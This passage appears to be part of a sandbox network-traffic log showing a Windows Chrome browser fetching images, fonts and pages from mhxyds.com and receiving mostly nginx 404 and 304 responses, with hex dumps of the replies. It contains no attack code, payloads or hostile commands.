User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

303 192.168.11.20 64335 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:24 UTC 14717 OUT GET /img/logo.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

304 118.27.105.118 443 192.168.11.20 63135 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:24 UTC 14717 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:23 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:24 UTC 14717 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

305 192.168.11.20 64334 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:24 UTC 14718 OUT GET /jpg/website-image-1_1665x550950a.jpg?w=1000&hash=3F14C5A22685B5499B8C0FC7F33992E313FEA968 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Sun, 05 Feb 2017 14:32:26 GMT
If-None-Match: "5897377a-2ddd5"
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

306 118.27.105.118 443 192.168.11.20 62253 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:24 UTC 14718 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:24 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:24 UTC 14718 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

307 118.27.105.118 443 192.168.11.20 64333 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:24 UTC 14719 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:24 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:24 UTC 14719 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

308 118.27.105.118 443 192.168.11.20 64335 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:24 UTC 14720 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:24 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:24 UTC 14720 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

309 118.27.105.118 443 192.168.11.20 64334 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:24 UTC 14720 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:24 GMT
Last-Modified: Sun, 05 Feb 2017 14:32:26 GMT
Connection: close
ETag: "5897377a-2ddd5"
Expires: Sat, 10 Sep 2022 03:43:24 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

31 192.168.11.20 54171 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 457 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:41 UTC 457 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 06 6d 68 78 79 64 73 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 
00 00 00 59 00 0c 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: mhxydscom)YU

Session ID Source IP Source Port Destination IP
Destination
Port

Process

310 192.168.11.20 54420 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:24 UTC 14721 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

311 192.168.11.20 57692 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:24 UTC 14722 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

312 192.168.11.20 57693 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:25 UTC 14723 OUT GET /jpg/understanding-the-lic-structure-746x419-1f46b.jpg?mw=285&hash=C8C36499F66CAC27725EBD92450D8
783215D5F03 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Wed, 21 Oct 2020 17:26:50 GMT
If-None-Match: "5f906f5a-587b"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

313 192.168.11.20 57694 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:25 UTC 14723 OUT GET /jpg/perpetual-knowledge-bank-series-reporting-season-746x4190ae6.jpg?mw=285&hash=CC9B6A2517D651
7FA98B06A38A407613637A6C0F HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Thu, 17 Sep 2020 14:28:00 GMT
If-None-Match: "5f637270-5065"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

314 118.27.105.118 443 192.168.11.20 54420 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:25 UTC 14724 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:25 GMT
Content-Type: text/html
Content-Length: 548
Connection: close
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2022-08-11 03:43:25 UTC 14724 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

315 118.27.105.118 443 192.168.11.20 57692 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:25 UTC 14724 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:25 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:25 UTC 14724 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

316 118.27.105.118 443 192.168.11.20 57693 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:25 UTC 14725 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:25 GMT
Last-Modified: Wed, 21 Oct 2020 17:26:50 GMT
Connection: close
ETag: "5f906f5a-587b"
Expires: Sat, 10 Sep 2022 03:43:25 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

317 118.27.105.118 443 192.168.11.20 57694 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:25 UTC 14725 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:25 GMT
Last-Modified: Thu, 17 Sep 2020 14:28:00 GMT
Connection: close
ETag: "5f637270-5065"
Expires: Sat, 10 Sep 2022 03:43:25 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

318 192.168.11.20 63091 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:26 UTC 14725 OUT GET /jpg/vince-pezzulo-know-746x419-1bc7b.jpg?mw=285&hash=4367719F71F1327D4D3A17742A8CB2EAE99B6676 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Mon, 06 Jul 2020 10:39:38 GMT
If-None-Match: "5f02ff6a-3a9d"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

319 192.168.11.20 63092 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:26 UTC 14726 OUT GET /jpg/hero%20peicc2c4.jpg?mw=285&hash=3E47FCE246A72FBA35DB1562D6F9DD053E0F5355 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Wed, 23 Jan 2019 08:50:08 GMT
If-None-Match: "5c482ac0-61ce"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

32 118.27.105.118 443 192.168.11.20 50189 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 457 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:41 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:41 UTC 457 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

320 118.27.105.118 443 192.168.11.20 63091 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:26 UTC 14726 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:26 GMT
Last-Modified: Mon, 06 Jul 2020 10:39:38 GMT
Connection: close
ETag: "5f02ff6a-3a9d"
Expires: Sat, 10 Sep 2022 03:43:26 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

321 118.27.105.118 443 192.168.11.20 63092 C:\Program Files\Google\Chrome\Application\chrome.exe
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:27 UTC 14726 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:26 GMT
Last-Modified: Wed, 23 Jan 2019 08:50:08 GMT
Connection: close
ETag: "5c482ac0-61ce"
Expires: Sat, 10 Sep 2022 03:43:26 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

322 192.168.11.20 53211 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:27 UTC 14727 OUT GET /img/logo-footer.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

323 192.168.11.20 65047 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:27 UTC 14727 OUT GET /shareholders.html HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

324 118.27.105.118 443 192.168.11.20 53211 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:28 UTC 14728 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:27 GMT
Content-Type: text/html
Content-Length: 548
Connection: close
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2022-08-11 03:43:28 UTC 14728 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
